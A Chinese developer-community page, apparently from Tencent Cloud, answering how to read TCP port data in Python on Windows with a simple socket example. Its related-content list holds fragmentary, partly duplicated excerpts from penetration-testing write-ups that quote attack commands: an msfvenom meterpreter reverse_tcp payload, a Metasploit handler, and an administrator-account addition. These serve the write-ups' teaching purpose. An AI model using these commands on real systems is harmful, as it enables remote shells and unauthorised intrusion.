首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Python -尝试从Windows上的TCP/IP端口读取数据,但由于某种原因分配错误

Python是一种高级编程语言,被广泛应用于各个领域,包括云计算。在云计算中,Python常用于开发云原生应用、自动化部署和管理、数据分析和机器学习等任务。

对于从Windows上的TCP/IP端口读取数据的问题,可以使用Python的socket模块来实现。下面是一个示例代码:

代码语言:python
代码运行次数:0
复制
import socket

def read_data_from_tcpip_port(port):
    try:
        # 创建TCP/IP套接字
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        
        # 绑定端口
        server_address = ('localhost', port)
        sock.bind(server_address)
        
        # 监听连接
        sock.listen(1)
        
        while True:
            # 等待连接
            connection, client_address = sock.accept()
            
            try:
                # 接收数据
                data = connection.recv(1024)
                if data:
                    # 处理数据
                    # TODO: 在这里添加你的处理逻辑
                    
                    # 发送响应
                    connection.sendall(b'Response')
                else:
                    break
            finally:
                # 关闭连接
                connection.close()
    finally:
        # 关闭套接字
        sock.close()

# 调用函数,指定端口号
read_data_from_tcpip_port(12345)

上述代码创建了一个TCP/IP套接字,并绑定到本地主机的指定端口上。然后,通过监听连接,可以接收来自客户端的数据。在接收到数据后,你可以在代码中添加相应的处理逻辑。最后,通过套接字发送响应给客户端。

这是一个简单的示例,你可以根据具体需求进行修改和扩展。在实际应用中,你可能需要考虑并发连接、异常处理、数据解析等问题。

关于TCP/IP端口的概念,它是用于标识网络中不同应用程序或服务的端点。每个端口都有一个唯一的数字标识,范围从0到65535。常用的端口号已经被分配给特定的服务,例如HTTP使用的端口号是80,HTTPS使用的端口号是443。

推荐的腾讯云相关产品是云服务器(CVM),它提供了弹性的计算能力,可以在云上部署和运行各种应用程序。你可以使用腾讯云的云服务器来搭建和管理你的Python应用程序。你可以访问腾讯云的官方网站了解更多关于云服务器的信息:腾讯云-云服务器

希望以上信息对你有帮助!

页面内容是否对你有帮助?
有帮助
没帮助

相关·内容

深入剖析Socket实现

例如,套接字结构除其他信息外还包括: l  该套接字说关联本地和远程互联网地址和端口号。本地互联网地址(图中标记为“Local IP”)是赋值给本地主机;本地端口号在Socket实例创建时设置。...第5行代表了到一个Web服务器(80端口连接,该服务器已经单方面关闭。倒数第2行是先有的TCP连接。如果系统支持的话,你可能想要尝试一下netstat,来检测下上文描述场景连接状态。...1、缓冲区和TCP          作为程序员,在使用TCP套接字时需要记住最重要一点是: 不能假设在连接一端将数据写入输出流和在另一端输入流读取数据之间有任何一致性。          ...l  RecvQ:在接收端底层实现中缓存字节,等待分配到接收程序,即从输入流中读取。   l  Delivered:接收者输入流已经读取字节。...接收程序SocketInputStream读取数据时,字节就从RecvQ移动到Delivered中,而转移大小依赖于RecvQ中数据量和传递给read()方法缓冲区大小。

78120

windows环境下CC++socket相关网络编程详解以及部分TCP详解

要为套接字分配一个地址(主要是指IP地址和端口号),接下来登场就是bind()函数 2.绑定地址(bind): 服务端想在其创建Socket绑定一个IP地址和端口号,需要调用bind()函数,并传入一个包含地址信息...接下来应该使用connect()函数尝试与服务端特定IP地址和端口建立连接。这个动作包含了TCP三次握手过程,以建立可靠连接。...\n"); } 连接建立后,双方可以进行数据发送和接收即实现了网咯中不同进程之间通信! 5.数据传输: 读取数据:这通常使用recv()或read()函数连接套接字中读取数据。...它标识了进行数据读取通信端点。 buf:指向缓冲区指针,这个缓冲区用于接收数据数据将被读入此缓冲区。 len:缓冲区长度,以字节为单位。这个参数指定了最多可以套接字中接收多少数据。...recv函数返回值有几种典型情况,每种都代表着不同含义: 大于0值:表示成功接收到了数据,返回值是实际接收到字节数。这意味着数据套接字缓冲区成功读取到了提供缓冲区中。

1.8K62
  • netmap.js:基于浏览器网络发现工具

    192.168.1.1是本地网段嵌入式Linux机器(路由器),唯一打开端口是80。我们可以看到与其他关闭端口相比,浏览器在80错误时间大约延长了5倍。...但由于实现原因,当不返回TCP RST数据包时这将不起作用。典型: Windows机器 一些外部主机 某些网络设置,例如桥接/host-only VMs 其原因在以下理论部分进行了解释。...标准情况 当尝试连接到封闭端口时,活动主机通常会使用TCP RST数据包进行相对快速响应。...如果端口是打开,即使它没有运行HTTP服务器,由于建立了完整TCP连接开销,以及随后意识到无法提供URL中获取图像中获取Image,浏览器将需要花费更长时间来引发错误。...或Windows主机)和一些网络设置(如VirtualBox host-only网络)在命中关闭端口时,并不会返回TCP RST数据包。

    80730

    netmap.js:基于浏览器网络发现工具

    192.168.1.1是本地网段嵌入式Linux机器(路由器),唯一打开端口是80。我们可以看到与其他关闭端口相比,浏览器在80错误时间大约延长了5倍。...但由于实现原因,当不返回TCP RST数据包时这将不起作用。典型: Windows机器 一些外部主机 某些网络设置,例如桥接/host-only VMs 其原因在以下理论部分进行了解释。...标准情况 当尝试连接到封闭端口时,活动主机通常会使用TCP RST数据包进行相对快速响应。...如果端口是打开,即使它没有运行HTTP服务器,由于建立了完整TCP连接开销,以及随后意识到无法提供URL中获取图像中获取Image,浏览器将需要花费更长时间来引发错误。...或Windows主机)和一些网络设置(如VirtualBox host-only网络)在命中关闭端口时,并不会返回TCP RST数据包。

    94040

    Kali Linux 网络扫描秘籍 第六章 拒绝服务(二)

    此范围表示可分配给源端口全部可能值。 定义源和目标端口地址 TCP 报头部分在长度上都是 16 比特。 每个位可以为 1 或 0。...每个线程以生成 0 到 65,535 之间整数值开始。此范围表示可分配给源端口全部可能值。定义源和目的地端口地址 TCP 报头部分在长度上都是 16 比特。每个位可以为值 1 或 0。...在提供示例中,我们查找了 SMB 服务任何 Python DoS 脚本,但是我们寻找不是 Windows 7 平台。 grep中-v选项可用于结果中排除内容。.../usr/bin/env python import sys,struct,socket from socket import * 在脚本错误出现后,我们需要返回到文本编辑器,并尝试确定错误来源.../usr/bin/python import sys,struct,socket from socket import * 在每个问题解决后,尝试再次运行脚本通常是个好主意,有时,修复单个问题会消除多个执行错误

    1.4K30

    内网学习笔记 | 6、ICMP隧道工具使用

    因此我们便可以将 TCP/UDP 数据封装到 ICMP ping 数据包中,从而绕过防火墙限制。...地址 -lp: 监听本地 TCP 端口 -da: 指定访问目标的内网 IP 地址 -dp: 指定访问目标的端口 -m: 设置隧道最大并发数 -v: 输入内容详细级别(-1到4,其中-1为无输出...Web Linux 服务器,想通过它利用 ICMP 协议连接内网一台已经开启远程桌面的 Windows ,网络结构简化如下。...-lp 指定本机监听端口 -da 指定目标机内网IP -dp 指定目标机端口 -x 设置隧道密码 在 Linux Web 跳板机上执行以下命令 ptunnel -x teamssix 之后访问...最大数据缓冲区大小(字节) 目前有这样一个场景,攻击机能通过 ICMP 协议访问到目标主机,但是目标上有防火墙,拒绝了敏感端口比如 22、3389 端口访问,这个时候可以使用 icmpsh 利用 ICMP

    1.5K50

    红日靶场(一)vulnstack1 渗透分析

    ICMP回显,时间戳和网络掩码请求探测-PO 发送具有指定协议编号IP数据包--disable-arp-ping或--send-ip 对于本地以太网上主机不进行ARP扫描,而是IP地址扫描...TCP扫描-sS SYN半开放扫描-sN TCP空扫描,如果向关闭端口发送不包含RST请求,将回复RST作为响应-sF FIN标志数据包扫描-b ...ECHO扫描,开放端口将丢弃包含COOKIE ECHO数据包,但端口是关闭将回复ABORT-sO 扫描端口支持IP协议-Pn -sn 跳过主机发现和端口扫描,但仍可以运行NSE(脚本)-...-sT TCP connect()扫描,这种方式会在目标主机日志中记录大批连接请求和错误信息。...端口禁止动态扫描延迟超过10ms -iL 读取主机列表,例如,“-iL C:\ip.txt”

    81520

    打基础必备TCP IP知识介绍

    网络模型 通信模型 TCP/IP协议族 TCP/IP协议族 应用层 传输层 TCP/UDP报文 端口号 网络层 IPv4报文 数据链路层 Ethernet II帧格式 物理层 常见协议 TCP FTP...报文拆封 接收方由下而上逐层去除协议头部 2TCP/IP协议族 TCP/IP协议族 应用层 传输层 TCP/UDP报文 TCP报文格式 端口号 源端口随机分配,使用系统中未使用且大于1023...(TCP数据部分) MSS=MTU-TCP头部-IP头部,可以根据需要人为调整 RST Reset the connection 重置连接 用于复位因某种原因导致错误连接,也用来拒绝非法数据和请求...报文拒绝响应报文 RELEASE Client主动释放Server分配给它IP地址报文 INFORM Client已经获得了IP地址,发送此报文,为了Server处获取其他一些网络配置信息 工作过程...源主机收到ICMP超时错,TTL在上一个探测包基础加1

    82320

    打基础必备TCP IP知识介绍

    传输层 [1626917405817-image.png] TCP/UDP报文 [TCP报文格式] 端口号 [1626917452252-image.png] 源端口随机分配,使用系统中未使用且大于1023...基于TCP应用在传输数据之前必须先由TCP建立连接,在传输过程中由TCP解决可靠性、有序性,进行流量控制,传输结束后由TCP拆除连接 通过头部字段置值完成协议功能 [TCP报文格式] 源端口标识发送方进程...用于复位因某种原因导致错误连接,也用来拒绝非法数据和请求。...客户端通过控制连接向服务器发送PORT命令,告诉服务器该客户端用于传输数据临时端口号 传送数据时,服务器通过TCP端口号20与客户端临时端口建立数据传输通道,完成数据传输 被动方式 在建立数据连接过程中...源主机收到ICMP超时错,TTL在上一个探测包基础加1

    79600

    内网渗透|记一次有趣复杂靶场渗透

    端口扫描: /TideFinger_Linux -h 10.200.112.33 -p 1-65535 似乎有个高端口是socks5无认证代理,也许后面会有作用,先放着。...hosts文件 直接访问看看这些网站有什么有价值东西,目录扫描看看: admin扫描内可以发现robots.txt内容比较大 访问获得绝对路径: 直接访问是403,需要配合任意文件读取获取到凭据...利用任意文件下载获取到creds.txt,因为vhost本质是在一台机器,所以能读取到其他文件。...,果然有杀毒,不过欺负一下微软杀毒还是很轻松: 生成木马,本来想用https,但是不了线,只能用tcp了 msfvenom -p windows/x64/meterpreter_reverse_tcp...administrators Yuzusoft /add 登上去才发现,好吧,这是一个经典错误,报了个dll未找到错误(后来几天后同事提点发现是编译问题): 请原谅我直接在UI内部关掉杀毒,之前还写过

    39830

    内网渗透|记一次有趣复杂靶场渗透

    端口扫描:/TideFinger_Linux -h 10.200.112.33 -p 1-65535似乎有个高端口是socks5无认证代理,也许后面会有作用,先放着。...hosts文件直接访问看看这些网站有什么有价值东西,目录扫描看看:admin扫描内可以发现robots.txt内容比较大访问获得绝对路径:直接访问是403,需要配合任意文件读取获取到凭据利用任意文件下载获取到...creds.txt,因为vhost本质是在一台机器,所以能读取到其他文件。...生成木马,本来想用https,但是不了线,只能用tcp了msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.31.41 LPORT...administrators Yuzusoft /add登上去才发现,好吧,这是一个经典错误,报了个dll未找到错误(后来几天后同事提点发现是编译问题):请原谅我直接在UI内部关掉杀毒,之前还写过

    61350

    内网渗透|记一次有趣复杂靶场渗透

    端口扫描: /TideFinger_Linux -h 10.200.112.33 -p 1-65535 似乎有个高端口是socks5无认证代理,也许后面会有作用,先放着。...hosts文件 直接访问看看这些网站有什么有价值东西,目录扫描看看: admin扫描内可以发现robots.txt内容比较大 访问获得绝对路径: 直接访问是403,需要配合任意文件读取获取到凭据...利用任意文件下载获取到creds.txt,因为vhost本质是在一台机器,所以能读取到其他文件。...,不过欺负一下微软杀毒还是很轻松: 生成木马,本来想用https,但是不了线,只能用tcp了 msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST...administrators Yuzusoft /add 登上去才发现,好吧,这是一个经典错误,报了个dll未找到错误(后来几天后同事提点发现是编译问题): 请原谅我直接在UI内部关掉杀毒,之前还写过

    34130

    记一次菠菜论坛渗透测试经历【转载】

    随手一个login,后台出来了,网站是php,常用口令试了几次,admin存在,密码错误。 放在云悉看一下。 访问一下子域名,很僵硬。...再看看端口吧,3306开放,主机是Windows。 收集完毕,框架没扫出来,几乎没啥进展,唯一突破点就是后台和端口了。.../wwwroot/config.php 拿到账号尝试连接,提示没有权限,还是以失败告终,猜测存在防火墙,或者数据库host值设置为仅本地访问。 没办法,继续翻,尝试读取apache配置文件。...=4444 -f exe -o achess.exe 2、本地开启python服务器,端口为8000; python -m http.server 8000 3、将文件放置在python服务器中,查看已经开启...4、使用msf中reverse_tcp开启监听; handler -p windows/meterpreter_reverse_tcp -H ip -P 4444 5、执行exe文件,成功收到shell

    8.1K52

    内网渗透|记一次有趣复杂靶场渗透

    端口扫描: /TideFinger_Linux -h 10.200.112.33 -p 1-65535 似乎有个高端口是socks5无认证代理,也许后面会有作用,先放着。...hosts文件 直接访问看看这些网站有什么有价值东西,目录扫描看看: admin扫描内可以发现robots.txt内容比较大 访问获得绝对路径: 直接访问是403,需要配合任意文件读取获取到凭据...利用任意文件下载获取到creds.txt,因为vhost本质是在一台机器,所以能读取到其他文件。...,不过欺负一下微软杀毒还是很轻松: 生成木马,本来想用https,但是不了线,只能用tcp了 msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST...administrators Yuzusoft /add 登上去才发现,好吧,这是一个经典错误,报了个dll未找到错误(后来几天后同事提点发现是编译问题): 请原谅我直接在UI内部关掉杀毒,之前还写过

    41851

    远程桌面服务影子 – 超越影子会话

    注意: Windows 动态端口范围通常包括 49152 到 65535 TCP 端口。...可以通过发出以下命令来确定当前值: netsh int ipv4 show dynamicport tcp 命令qwinsta和quser进一步描述还需要打开端口 445/TCP,否则会出现以下错误:...,则会出现以下错误: 您尝试连接会话不存在 或者,如果会话存在,但没有人连接到它,或者您没有必要权限,则会出现以下错误之一: 会话存在,但没有人连接到它 没有足够权限来隐藏会话 否则,您将被授予权限并打开查看者窗口...Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f 然后监听器关闭并且 3389/TCP 端口 netstat 输出中消失,但由于所有服务仍在运行并且必要端口...虽然这是真的,但每次尝试停止它时都会收到以下错误: 坏处是远程桌面配置 ( SessionEnv) 服务可以停止,如果是这样,您将在尝试隐藏会话时收到以下错误: 接口未知 另一方面,一旦主机重新启动

    5.1K40

    TCP连接中客户端端口号是如何确定

    上述代码中 sk 取是 sock 对象。继续回顾第一节中 socket 内核数据结构图,可以得知 sk->sk_prot->connect 实际对应tcp_v4_connect 方法。...接着调用 inet_get_local_port_range,这个函数读取是 net.ipv4.ip_local_port_range 这个内核参数。来读取管理员配置可用端口范围。...遍历完所有端口都没找到合适,就返回 -EADDRNOTAVAIL,你在用户程序看到就是 Cannot assign requested address 这个错误。...该函数来尝试确定端口号,如果尝试失败,返回 EADDRINUSE。你应用程序将会显示一条错误信息 “Address already in use”。...如果你因为某种原因不希望某些端口被使用到,那么就把它们写到 ip_local_reserved_ports 这个内核参数中就行了,内核在选择时候会跳过这些端口

    4.5K30

    Kali Linux 网络扫描秘籍 第四章 指纹识别(一)

    如果我们尝试连接不接受连接服务,Python 解释器会返回错误。...系统 TCP 443 端口,会返回一个错误,表示连接被拒绝。...工作原理 这个秘籍中引入 Python 脚本原理是使用套接字库。脚本遍历每个指定目标端口地址,并尝试与特定端口初始化 TCP 连接。...4.4 Nmap NSE 特征抓取 Nmap 拥有集成 Nmap 脚本引擎(NSE),可以用于运行在远程端口网络服务中读取特征。...带有附加脚本选项和特征参数 TCP 连接扫描可以完成服务枚举和特征收集任务。 4.5 Amap 特征抓取 Amap 是个应用映射工具,可以用于运行在远程端口网络设备中读取特征。

    1.6K30

    Windows基础 | 学员笔记

    二是逻辑意义端口,一般是指TCP/IP协议中端口端口范围0到65535,比如用于浏览网页服务80端口,用于FTP服务21端口等等。我们这里将要介绍就是逻辑意义端口。...端口分类 逻辑意义端口有多种分类标准,下面将介绍两种常见分类: 按端口号分布划分 (1)知名端口(Well-Known Ports)   知名端口即众所周知端口号,范围0到1023,这些端口号一般固定分配给一些服务...同样Fraggle DoS攻击向目标地址这个端口广播一个带有伪造受害者IP数据包,受害者为了回应这些数据而过载。 端口:21 服务:FTP 说明:FTP服务器所开放端口,用于上传、下载。...基于这一点分配端口1024开始。这就是说第一个向系统发出请求分配到1024端口。你可以重启机器,打开Telnet,再打开一个窗口运行natstat -a 将会看到Telnet被分配1024端口。...Microsoft Windows 95开始,注册表真正成为Windows用户经常接触内容,并在其后操作系统中继续沿用至今。

    63620

    【网络编程】基于TCPIP协议CS模型

    ---- 相关视频——C3程序猿-windows网络编程:第一部分tcp/ip ---- 基于TCP/IP协议C/S模型 TCP/IP协议 全称——Transmission Control Protocol...而TCP协议和IP协议就是单单两个协议。 特点——面向可连接,可靠,基于数据传输协议层。 ---- UDP/IP协议——面向非连接,不可靠,基于数据传输层协议。...端口号:找到电脑对应软件具体功能,每个通信端口号是唯一,同一个软件可能占用多个端口号。...unsigned short 理论0~65535都可以,但是0~1023为系统保留占用端口号 21端口分配给FTP(文件传输协议)服务 25端口分配给...一般是参数2字节数-1,把/0字符串结尾留出来。 参数4 数据读取方式 一般就写个0。 0 正常逻辑(自然性质) 系统缓冲区里读,读走几个删几个,要不每次都从头开始读。

    62810
    领券